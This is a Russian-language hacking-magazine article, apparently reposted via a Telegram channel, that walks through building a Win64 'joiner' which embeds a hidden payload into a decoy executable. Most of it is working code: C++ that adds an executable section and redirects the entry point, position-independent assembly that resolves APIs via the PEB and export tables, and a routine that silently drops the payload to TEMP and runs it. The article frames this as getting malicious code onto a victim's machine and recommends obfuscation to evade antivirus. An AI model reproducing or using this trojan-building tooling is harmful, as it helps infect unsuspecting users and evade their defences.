Хакер - Качественная склейка. Пишем джоинер исполняемых файлов для Win64

Хакер - Качественная склейка. Пишем джоинер исполняемых файлов для Win64

hacker_frei

https://t.me/hacker_frei

Евгений ARCHANGEL Кулик

Содержание статьи

  • Немного теории
  • Как устроен наш вариант
  • Алгоритм работы
  • Добавление секции
  • Ассемблер и шелл-код
  • Алгоритм запуска нагрузки
  • Поиск API в памяти
  • Выводы

Пред­ста­вим, что нам нуж­но запус­тить некий злов­редный код на машине жер­твы. Дос­тупа к это­му ком­пу у нас нет, и кажет­ся, что самым прос­тым вари­антом будет вынудить жер­тву сде­лать все за нас. Конеч­но, ник­то в здра­вом уме не запус­тит сом­нитель­ное ПО на сво­ем девай­се, поэто­му жер­тву нуж­но заин­тересо­вать — пред­ложить что‑то полез­ное. Тут в дело всту­пает джо­инер — тул­за, которая встро­ит в полез­ную наг­рузку наш код и скрыт­но его запус­тит.

WARNING

Статья пред­назна­чена для «белых хакеров», про­фес­сиональ­ных пен­тесте­ров и руково­дите­лей служ­бы информа­цион­ной безопас­ности (CISO). Ни автор, ни редак­ция не несут ответс­твен­ности за любой воз­можный вред, при­чинен­ный при­мене­нием информа­ции дан­ной статьи.

Су­щес­тву­ют ли готовые решения, пред­назна­чен­ные для склей­ки прог­рамм и вре­донос­ной наг­рузки? Безус­ловно, но здесь есть ряд проб­лем. Такие инс­тру­мен­ты детек­тятся анти­виру­сами, сто­ят денег и час­то про­дают­ся как сер­вис, то есть тре­буют опла­ты за разовую склей­ку. Бес­плат­ные и прос­тые спо­собы встро­ить полез­ную наг­рузку вида «помес­тим фай­лы в саморас­паковы­вающий­ся архив» и вов­се баналь­ный фуф­ломицин. Решение же, сде­лан­ное сво­ими руками, может быть улуч­шено, исправ­лено в слу­чае детек­та и, конеч­но, оста­нет­ся бес­плат­ным.

НЕМНОГО ТЕОРИИ

Джо­инер может и дол­жен скле­ивать два исполня­емых фай­ла. Пер­вый — визу­аль­ная обо­лоч­ка, кра­сивая кар­тинка и отвле­кающий маневр. Это то, что уви­дит юзер на экра­не сво­его компь­юте­ра, ког­да запус­тит исполня­емый файл. Вто­рой — полез­ная наг­рузка, которая запус­кает­ся без явно­го желания поль­зовате­ля. По умол­чанию вто­рой файл не будет как‑то скрыт: если в нем при­сутс­тву­ют окна или, нап­ример, гром­кое музыкаль­ное соп­ровож­дение, то это все юзер заметит. Поэто­му нуж­но обес­печить скрыт­ную работу полез­ной наг­рузки. Джо­инер лишь скле­ивает, но не мас­киру­ет вре­донос­ное при­ложе­ние.

А может ли джо­инер скле­ить исполня­емый файл с кар­тинкой? Может, но это не име­ет смыс­ла. Чис­то теоре­тичес­ки, если бы он скле­ивал исполня­емый файл и кар­тинку, на выходе все рав­но получал­ся бы исполня­емый файл, который не имел бы рас­ширения .jpg.png или дру­гого подоб­ного. Редак­торы и прос­мот­рщи­ки кар­тинок такой файл открыть не смо­гут. Либо мы получим кар­тинку, но в таком слу­чае не смо­жем запус­тить исполня­емый файл. Есть еще вари­ант, ког­да при­ложе­ние стар­тует и откры­вает кар­тинку через API ShellExecute. Дей­ствие занят­ное, но толь­ко в качес­тве фокуса — поль­зы от него никакой.

КАК УСТРОЕН НАШ ВАРИАНТ

На­шей целью будет Windows 10 x64, но, поняв прин­цип, лег­ко мож­но перера­ботать инс­тру­мен­тарий под дру­гие вер­сии семей­ства Windows. Код дол­жен работать и на Windows 7/8, но не тес­тировал­ся там. Мы будем исполь­зовать смесь С++ и ассем­бле­ра.

Алгоритм работы

Обо­лоч­ка — наш пер­вый ехе, который будет виден кли­енту. Это, так ска­зать, при­ман­ка. Наг­рузка — вто­рой ехе, в котором содер­жится злов­редный кон­тент. В обо­лоч­ку добав­ляет­ся допол­нитель­ная сек­ция, куда записы­вает­ся шелл‑код и наг­рузка. Управле­ние сра­зу переда­ется на шелл‑код, задача которо­го — извлечь наг­рузку, сох­ранить ее на диск и запус­тить. На вер­хнем уров­не все сво­дит­ся к тому, что мы получа­ем некий бай­товый мас­сив, который дол­жны положить в допол­нитель­ную сек­цию. Потом оста­нет­ся лишь испра­вить точ­ку вхо­да у обо­лоч­ки, и все — склей­ка завер­шена.

try {

const auto goodfile = std::wstring(argv[1]);

const auto badfile = std::wstring(argv[2]);

const auto content = CreateData(badfile,goodfile);

AddDataToFile(goodfile, content, L"fixed.exe");

}

catch (const std::exception& error)

{

std::cout << error.what() << std::endl;

}

Добавление секции

Это самая прос­тая часть алго­рит­ма, поэто­му для разог­рева нач­нем имен­но с нее. Откры­ваем на чте­ние файл обо­лоч­ки:

std::ifstream inputFile(inputPe, std::ios::binary);

if (inputFile.fail())

{

const auto message = Utils::WideToString(L"Unable to open " + inputPe);

throw std::logic_error(message);

}

Нам понадо­бит­ся биб­лиоте­ка для работы с PE-фай­лами. Это очень силь­но упростит нам добав­ление сек­ции, редак­тирова­ние ее атри­бутов, исправ­ление entry point и про­чее. Я выб­рал ста­рую про­верен­ную биб­лиоте­ку PE Bliss.

Но биб­лиоте­ку нуж­но нем­ного под­пра­вить, если мы хотим исполь­зовать С++17 для ком­пиляции про­ектов. Прав­ки эти дела­ются три­виаль­но и сос­тоят в том, что нуж­но уста­рев­ший auto_ptr сме­нить на unique_ptr. Из‑за этих пра­вок код биб­лиоте­ки я пред­ложил бы хра­нить непос­редс­твен­но в сво­ем репози­тории, а не исполь­зовать submodule. Сек­ция добав­ляет­ся так:

auto peImage = pe_bliss::pe_factory::create_pe(inputFile);

pe_bliss::section newSection;

newSection.readable(true).writeable(true).executable(true); // Секция получает атрибуты read + write + execute

newSection.set_name("joiner"); // Имя секции

newSection.set_raw_data(std::string(data.cbegin(), data.cend())); // Контент секции

pe_bliss::section& added_section = peImage.add_section(newSection);

const auto alignUp = [](unsigned int value, unsigned int aligned) -> unsigned int

{

const auto num = value / aligned;

return (num * aligned < value) ? (num * aligned + aligned) : (num * aligned);

};

peImage.set_section_virtual_size(added_section,

alignUp(data.size(), peImage.get_section_alignment())); // Виртуальный размер секции выравнивается в бОльшую сторону

peImage.set_ep(added_section.get_virtual_address() + sizeof(HEAD));

Пос­ледняя стро­ка зас­лужива­ет отдель­ных ком­мента­риев. Там меня­ется точ­ка вхо­да, но новая EP (entry point) выс­тавля­ется не на самое начало новой сек­ции, а на начало со сме­щени­ем, которое рав­но раз­меру струк­туры HEAD. Эта струк­тура выг­лядит так:

struct HEAD

{

unsigned long long sizeOfPayload;

unsigned long long OEP;

};

Воз­ника­ет логич­ный воп­рос: что это за поля и отку­да берут­ся их зна­чения? Поле sizeOfPayload — раз­мер фай­ла наг­рузки, а OEP — зна­чение точ­ки вхо­да обо­лоч­ки до того, как мы добави­ли новую сек­цию и изме­нили на нее точ­ку вхо­да. Как будет выг­лядеть струк­тура новой сек­ции в целом, показа­но на кар­тинке.

Струк­тура новой сек­ции

Ассемблер и шелл-код

Код, который мы добавим в обо­лоч­ку, дол­жен соот­ветс­тво­вать опре­делен­ным тре­бова­ниям. И на язы­ке ассем­бле­ра добить­ся это­го соот­ветс­твия не прос­то лег­че — это единс­твен­но воз­можный путь. Раз­берем­ся почему.


Ког­да мы инжектим свой код в пос­торон­ний .ехе, мы дол­жны быть готовы к тому, что код запус­тится по слу­чай­ному адре­су без под­готов­ки со сто­роны заг­рузчи­ка. Не будет никаких извес­тных адре­сов API-фун­кций, релока­ции ник­то не испра­вит, поэто­му нуж­но писать самодос­таточ­ный код. Такой код иног­да называ­ют шелл‑кодом, хотя он и не явля­ется шелл‑кодом в понима­нии экс­плу­ата­ции уяз­вимос­тей. Это, ско­рее, код «в шелл‑код‑сти­ле».

Та­ким обра­зом, этот код:

  • дол­жен уметь работать с любого адре­са, неваж­но, по какому адре­су он ока­зал­ся в памяти;
  • дол­жен находить адре­са нуж­ных ему фун­кций.

Дельта-смещение

Ес­ли файл был соб­ран под адрес Х, а запус­тился с адре­са Y, то все абсо­лют­ные адре­са тре­буют кор­ректи­ров­ки. Раз­ница меж­ду эти­ми адре­сами как раз и называ­ется дель­та‑сме­щени­ем. Вот код для вычис­ления такого дель­та‑сме­щения:

call delta

delta:

pop rax

mov rcx, offset delta

sub rax, rcx

Вы­зов фун­кции с уче­том это­го сме­щения выг­лядит так:

mov rax, offset GetNtdllByModuleList

add rax, [rsp+100h+var_delta]

call rax

Строки, смешанные с кодом

Хра­нить стро­ки, перемен­ные (дан­ные) и код в раз­ных сек­циях для шелл‑кода неп­рием­лемо. Поэто­му здесь код и дан­ные сме­шива­ются. С локаль­ными перемен­ными на сте­ке нет никаких проб­лем. Со стро­ками исполь­зует­ся сле­дующий при­ем:


jmp short begin

getprocaddr:

db 'LdrGetProcedureAddress',0

getdllhandle:

db 'LdrGetDllHandle',0

begin:

То есть инс­трук­ции идут вмес­те со стро­ками. Конеч­но, стро­ки нель­зя выпол­нить, и мы дела­ем корот­кие (short) перехо­ды через стро­ки.

Поиск границ шелл-кода

Для это­го мы вос­поль­зуем­ся public-перемен­ными. В ассем­блер­ном лис­тинге, в самом начале нашего шелл‑кода, мы помес­тим перемен­ную. Она пос­лужит мар­кером начала. Точ­но так же мы помес­тим перемен­ную в кон­це кода.

PUBLIC sizeOfPayload ; Маркер начала

PUBLIC FinishMarker ; Маркер завершения шелл-кода

.CODE

sizeOfPayload QWORD 0 ; Поля структуры HEAD

OEP QWORD 0

launcher proc ; Начало самого кода

MASM, cmake и Visual Studio

Нам нуж­но под­ружить эти инс­тру­мен­ты. Macro assembler нужен для написа­ния шелл‑кода, потому что встра­ивать ассем­блер­ный код в прог­рамму на С++ с помощью __asm{} в архи­тек­туре x64 нель­зя. Соз­дает­ся отдель­ный файл с ассем­блер­ным кодом, обыч­но для таких фай­лов исполь­зуют рас­ширение .asm, а в CMakeLists.txt добав­ляют­ся такие дирек­тивы:


enable_language(ASM_MASM)

set(ASMSRC shellcode.asm)

target_sources(${PROJECT_NAME} PRIVATE ${ASMSRC})

if(CMAKE_CL_64 EQUAL 0)

set_source_files_properties(${ASMSRC} PROPERTIES COMPILE_FLAGS "/safeseh /DSC_WIN32")

else()

set_source_files_properties(${ASMSRC} PROPERTIES COMPILE_FLAGS "/DSC_WIN64")

endif()

Те­перь мы получим воз­можность слин­ковать два объ­ектных фай­ла при усло­вии, что в С++ исполь­зует­ся клю­чевое сло­во extern. Нап­ример:

extern "C" unsigned long long sizeOfPayload;

Алгоритм запуска нагрузки

Шелл‑код работа­ет так:

1. Ищет путь к дирек­тории TEMP.

2. Записы­вает туда файл с наг­рузкой.

3. Запус­кает этот файл на выпол­нение.

4. Переда­ет управле­ние ори­гиналь­ной точ­ке вхо­да обо­лоч­ки.

В виде лис­тинга это может выг­лядеть так:

void DropToDiskAndExecute(const uint8_t* data, unsigned int sizeData, const API_Adresses* addresses)

{

STARTUPINFOA startup{0};

PROCESS_INFORMATION procInfo{0};

const char surprise[] = "payload.exe";

const auto size = reinterpret_cast<gettemppatha*>(

addresses->GetTempPathA)(0, nullptr);

auto* location = reinterpret_cast<virtualalloc*>(addresses->VirtualAlloc)

(nullptr, size + sizeof(surprise),

MEM_COMMIT, PAGE_READWRITE);

if (!location)

{

return;

}

reinterpret_cast<gettemppatha*>(addresses->GetTempPathA)(size, reinterpret_cast<LPSTR>(location));

reinterpret_cast<winlstrcat*>(addresses->lstrcatA)(reinterpret_cast<LPSTR>(location), surprise);

auto handle = reinterpret_cast<createfilea*>(addresses->CreateFileA)

(reinterpret_cast<LPSTR>(location), GENERIC_WRITE,

FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr,

CREATE_ALWAYS, 0, 0);

reinterpret_cast<writefile*>(addresses->WriteFile)(handle, data,

sizeData, nullptr, nullptr);

reinterpret_cast<closehandle*>(addresses->CloseHandle)(handle);

reinterpret_cast<createprocessa*>(addresses->CreateProcessA)(reinterpret_cast<LPSTR>(location),

nullptr,

nullptr, nullptr, FALSE,

0, nullptr, nullptr, &startup, &procInfo);

reinterpret_cast<closehandle*>(addresses->CloseHandle)(procInfo.hProcess);

reinterpret_cast<closehandle*>(addresses->CloseHandle)(procInfo.hThread);

reinterpret_cast<virtualfree*>(addresses->VirtualFree)(location, 0, MEM_RELEASE);

}

Дан­ный код зас­лужива­ет более деталь­ного рас­смот­рения. Во‑пер­вых, он на С++. Но как же так? Ведь шелл‑код дол­жен быть на ассем­бле­ре? Да, шелл‑код на ассем­бле­ре. Прос­то вна­чале был этот код, а потом я его дизас­сем­бли­ровал и ско­пиро­вал резуль­тат (с неболь­шими прав­ками) в shellcode.asm. Во‑вто­рых, это — чис­тая фун­кция, то есть резуль­тат ее работы зависит толь­ко от вход­ных парамет­ров. Это важ­но, пос­коль­ку такие фун­кции генери­руют­ся ком­пилято­ром прак­тичес­ки сра­зу в нуж­ном нам шелл‑код‑сти­ле. В‑треть­их, тут нет какой‑то обра­бот­ки оши­бок, потому что в слу­чае ошиб­ки мы не дол­жны никак ее обра­баты­вать и вооб­ще обна­ружи­вать свое при­сутс­твие. Так­же важ­но, что все необ­ходимые API-фун­кции пода­ются нам на вход:

struct API_Adresses

{

FARPROC GetTempPathA;

FARPROC VirtualAlloc;

FARPROC lstrcatA;

FARPROC CreateFileA;

FARPROC WriteFile;

FARPROC CloseHandle;

FARPROC CreateProcessA;

FARPROC VirtualFree;

};

Для работы алго­рит­ма нам понадо­бит­ся восемь фун­кций. Но как най­ти их адре­са?

Поиск API в памяти

Ал­горитм дос­таточ­но прост:

  1. Ищем базу заг­рузки ntdll.dll.
  2. В таб­лице экспор­та находим две фун­кции: LdrGetDllHandle и LdrGetProcedureAddress.
  3. С их помощью находим адре­са вось­ми фун­кций из струк­туры API_Adresses.

Ба­за заг­рузки ntdll.dll ищет­ся бла­года­ря тому, что peb_loader_data при­над­лежит прос­транс­тву ntdll.dll:

GetNtdllByModuleList:

mov rax, gs:[60h]

mov ecx, 5A4Dh

mov rax, [rax+18h]

and rax, 0FFFFFFFFFFFFF000h

try_again:

cmp [rax], cx

jz short finish

sub rax, 1000h

jnz short try_again

finish:

ret

Код пар­синга таб­лицы экспор­та был чес­тно поза­имс­тво­ван на прос­торах интерне­та (прав­да, ори­гиналь­ная вер­сия содер­жит баг, который в моем коде исправ­лен):

;http://mcdermottcybersecurity.com/articles/windows-x64-shellcode

;look up address of function from DLL export table

;rcx=DLL imagebase, rdx=function name string

;DLL name must be in uppercase

;r15=address of LoadLibraryA (optional, needed if export is forwarded)

;returns address in rax

;returns 0 if DLL not loaded or exported function not found in DLL

;NtGetProcAddressAsm proc

NtGetProcAddressAsm:

push rcx

push rdx

push rbx

push rbp

push rsi

push rdi

start:

found_dll:

mov rbx, rcx ;get dll base addr — points to DOS "MZ" header

mov r9d, [rbx+3ch] ;get DOS header e_lfanew field for offset to "PE" header

add r9, rbx ;add to base — now r9 points to _image_nt_headers64

add r9, 88h ;18h to optional header + 70h to data directories

;r9 now points to _image_data_directory[0] array entry

;which is the export directory

mov r13d, [r9] ;get virtual address of export directory

test r13, r13 ;if zero, module does not have export table

jnz has_exports

xor rax, rax ;no exports — function will not be found in dll

jmp done

has_exports:

lea r8, [rbx+r13] ;add dll base to get actual memory address

;r8 points to _image_export_directory structure (see winnt.h)

mov r14d, [r9+4] ;get size of export directory

add r14, r13 ;add base rva of export directory

;r13 and r14 now contain range of export directory

;will be used later to check if export is forwarded

mov ecx, [r8+18h] ;NumberOfNames

mov r10d, [r8+20h] ;AddressOfNames (array of RVAs)

add r10, rbx ;add dll base

dec ecx ;point to last element in array (searching backwards)

for_each_func:

lea r9, [r10 + 4*rcx] ;get current index in names array

mov edi, [r9] ;get RVA of name

add rdi, rbx ;add base

mov rsi, rdx ;pointer to function we're looking for

compare_func:

cmpsb

jne wrong_func ;function name doesn't match

mov al, [rsi] ;current character of our function

test al, al ;check for null terminator

jz bug_fix ;bugfix here — doulbe check of zero byte

;if at the end of our string and all matched so far, found it

jmp compare_func ;continue string comparison

wrong_func:

loop for_each_func ;try next function in array

xor rax, rax ;function not found in export table

jmp done

bug_fix:

mov al, [rdi]

test al, al

jz short found_func

jmp short compare_func

found_func: ;ecx is array index where function name found

;r8 points to _image_export_directory structure

mov r9d, [r8+24h] ;AddressOfNameOrdinals (rva)

add r9, rbx ;add dll base address

mov cx, [r9+2*rcx] ;get ordinal value from array of words

mov r9d, [r8+1ch] ;AddressOfFunctions (rva)

add r9, rbx ;add dll base address

mov eax, [r9+rcx*4] ;Get RVA of function using index

cmp rax, r13 ;see if func rva falls within range of export dir

jl not_forwarded

cmp rax, r14 ;if r13 <= func < r14 then forwarded

jae not_forwarded

;forwarded function address points to a string of the form <DLL name>.<function>

;note: dll name will be in uppercase

;extract the DLL name and add ".DLL"

lea rsi, [rax+rbx] ;add base address to rva to get forwarded function name

lea rdi, [rsp+30h] ;using register storage space on stack as a work area

mov r12, rdi ;save pointer to beginning of string

copy_dll_name:

movsb

cmp byte ptr [rsi], 2eh ;check for '.' (period) character

jne copy_dll_name

movsb ;also copy period

mov dword ptr [rdi], 004c4c44h ;add "DLL" extension and null terminator

mov rcx, r12 ;r12 points to "<DLL name>.DLL" string on stack

call r15 ;call LoadLibraryA with target dll

mov rcx, r12 ;target dll name

mov rdx, rsi ;target function name

jmp start ;start over with new parameters

not_forwarded:

add rax, rbx ;add base addr to rva to get function address

done:

pop rdi

pop rsi

pop rbp

pop rbx

pop rdx

pop rcx

ret

Ког­да у нас появи­лись адре­са двух кра­еуголь­ных фун­кций LdrGetDllHandle и LdrGetProcedureAddress, даль­ше мож­но най­ти адрес фун­кции для любой уже заг­ружен­ной биб­лиоте­ки. Либа kernel32.dll тоже заг­ружа­ется лоаде­ром сра­зу, так что мы без проб­лем най­дем все инте­ресу­ющие нас адре­са:

GetProcedureAddressAsm:

var_28= word ptr -28h

var_26= word ptr -26h

var_20= qword ptr -20h

var_18= word ptr -18h

var_16= word ptr -16h

var_10= qword ptr -10h

arg_0= qword ptr 8

arg_8= qword ptr 10h

arg_10= qword ptr 18h

arg_18= qword ptr 20h

mov [rsp+arg_10], rbx

mov [rsp+arg_18], rsi

push rdi

sub rsp, 40h

xor ebx, ebx

mov rdi, rdx

test rcx, rcx

mov rdx, rcx

mov ecx, ebx

mov rsi, r9

mov r10, r8

jz short loc_14000689A

cmp [rdx], cx

jz short loc_140006898

nop dword ptr [rax+00000000h]

loc_140006890:

inc ecx

cmp [rdx+rcx*2], bx

jnz short loc_140006890

loc_140006898:

add ecx, ecx

loc_14000689A:

mov [rsp+48h+var_28], cx

lea r9, [rsp+48h+arg_0]

add cx, 2

mov [rsp+48h+var_20], rdx

mov [rsp+48h+var_26], cx

lea r8, [rsp+48h+var_28]

xor ecx, ecx

xor edx, edx

call r10

test rdi, rdi

jz short loc_1400068D0

cmp byte ptr [rdi], 0

jz short loc_1400068D0

loc_1400068C8:

inc ebx

cmp byte ptr [rbx+rdi], 0

jnz short loc_1400068C8

loc_1400068D0:

mov rcx, [rsp+48h+arg_0]

lea r9, [rsp+48h+arg_8]

mov [rsp+48h+var_18], bx

lea rdx, [rsp+48h+var_18]

inc bx

mov [rsp+48h+var_10], rdi

xor r8d, r8d

mov [rsp+48h+var_16], bx

call rsi

mov rax, [rsp+48h+arg_8]

mov rbx, [rsp+48h+arg_10]

mov rsi, [rsp+48h+arg_18]

add rsp, 40h

pop rdi

ret

Не­поня­тен ассем­блер­ный код? Изна­чаль­но этот код тоже написан на С++:

FARPROC GetProcedureAddress(wchar_t* library, char* function,

LdrGetDllHandlePointer* LdrGetDllHandle,

LdrGetProcedureAddressPointer* LdrGetProcedureAddress)

{

const auto libNameLen = static_cast<USHORT>(GetWcharLen(library));

UNICODE_STRING libraryName{ libNameLen,

libNameLen + sizeof(wchar_t),

library };

HMODULE hModule;

LdrGetDllHandle(nullptr, nullptr, &libraryName, &hModule);

const auto functionNameLen = static_cast<USHORT>(GetCharLen(function));

ANSI_STRING functionName{ functionNameLen,

functionNameLen + sizeof(char),

function };

FARPROC result;

LdrGetProcedureAddress(hModule, &functionName, 0, &result);

return result;

}

Для запол­нения струк­туры с адре­сами исполь­зует­ся такой метод (далее при­веден его псев­докод):

API_Adresses CreateAddressStruct(LdrGetDllHandlePointer* LdrGetDllHandle,

LdrGetProcedureAddressPointer* LdrGetProcedureAddress, GetProcedureAddressPointer* getter)

{

API_Adresses result{};

wchar_t* libname = L"kernel32.dll";

result.CloseHandle = getter(libname, "CloseHandle", LdrGetDllHandle,

LdrGetProcedureAddress);

result.CreateFileA = getter(libname, "CreateFileA", LdrGetDllHandle,

LdrGetProcedureAddress);

result.CreateProcessA = getter(libname, "CreateProcessA", LdrGetDllHandle,

LdrGetProcedureAddress);

result.GetTempPathA = getter(libname, "GetTempPathA", LdrGetDllHandle,

LdrGetProcedureAddress);

result.lstrcatA = getter(libname, "lstrcatA", LdrGetDllHandle,

LdrGetProcedureAddress);

result.VirtualAlloc = getter(libname, "VirtualAlloc", LdrGetDllHandle,

LdrGetProcedureAddress);

result.VirtualFree = getter(libname, "VirtualFree", LdrGetDllHandle,

LdrGetProcedureAddress);

result.WriteFile = getter(libname, "WriteFile", LdrGetDllHandle,

LdrGetProcedureAddress);

return result;

}

Вся высоко­уров­невая логика выг­лядит сле­дующим обра­зом:

sizeOfPayload QWORD 0

OEP QWORD 0

launcher proc

var_ntdllBase = qword ptr -10h

var_ldrProcedureAddr = qword ptr -20h

var_ldrLoadDll = qword ptr -30h

var_delta = qword ptr -40h

var_apis = qword ptr -90h

call delta

delta:

pop rax

mov rcx, offset delta

sub rax, rcx

sub rsp, 100h

mov [rsp+100h+var_delta], rax

jmp short begin

getprocaddr:

db 'LdrGetProcedureAddress',0

getdllhandle:

db 'LdrGetDllHandle',0

begin:

mov rax, offset GetNtdllByModuleList

add rax, [rsp+100h+var_delta]

call rax

mov [rsp+100h+var_ntdllBase], rax

mov rcx, rax

lea rdx, getprocaddr

mov rax, offset NtGetProcAddressAsm

add rax, [rsp+100h+var_delta]

call rax

mov [rsp+100h+var_ldrProcedureAddr], rax

mov rcx, [rsp+100h+var_ntdllBase]

lea rdx, getdllhandle

mov rax, offset NtGetProcAddressAsm

add rax, [rsp+100h+var_delta]

call rax

mov [rsp+100h+var_ldrLoadDll], rax

mov rdx, rax

mov r8, [rsp+100h+var_ldrProcedureAddr]

mov r9, offset GetProcedureAddressAsm

add r9, [rsp+100h+var_delta]

lea rcx, [rsp+100h+var_apis]

mov rax, offset CreateAddressStructAsm

add rax, [rsp+100h+var_delta]

call rax

mov r8, rax

lea rdx, sizeOfPayload

mov rdx, qword ptr [rdx]

lea rcx, FinishMarker

mov rax, offset DropToDiskAndExecuteAsm

add rax, [rsp+100h+var_delta]

call rax

lea rax, OEP

mov rax, qword ptr [rax]

mov rcx, gs:[60h] ; GetModuleHanldeW(nullptr)

mov rcx, [rcx+10h]

add rax, rcx

add rsp, 100h

jmp rax

Код работа­ет бла­года­ря тому, что раз­мер наг­рузки рас­положен в перемен­ной sizeOfPayload, а сам кон­тент вто­рого исполня­емо­го фай­ла — сра­зу за шелл‑кодом. Весь код про­екта дос­тупен по ссыл­ке: https://bitbucket.org/KulykIevgen/joiner/src/master/.

ВЫВОДЫ

Ко­неч­но, через какое‑то вре­мя любое анти­вирус­ное ПО научит­ся детек­тить этот код, но, пос­коль­ку он дос­тупен в виде исходни­ков, его мож­но модифи­циро­вать, обфусци­ровать, под­вергать мутаци­ям, получая каж­дый раз чис­тые фай­лы. А улуч­шения, несом­ненно, понадо­бят­ся.

Здесь понадо­бит­ся под­дер­жка и ста­рой доб­рой архи­тек­туры х86, и всей линей­ки Windows, да и над скрыт­ностью порабо­тать будет нелиш­ним. Сей­час ана­литик может уви­деть неч­то подоз­ритель­ное, прос­то пос­мотрев, какой сек­ции при­над­лежит точ­ка вхо­да, так как если она рас­положе­на в пос­ледней сек­ции, то файл под­вергал­ся модифи­каци­ям.

В сети час­то мож­но уви­деть жалобы, нап­ример на рас­простра­ните­лей «таб­леток от жад­ности» (кря­ков и кей­генов), за то, что в таком ПО мно­го тро­янских прог­рамм. Но теперь ты зна­ешь, как эти тро­яны туда попада­ют.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei

Report Page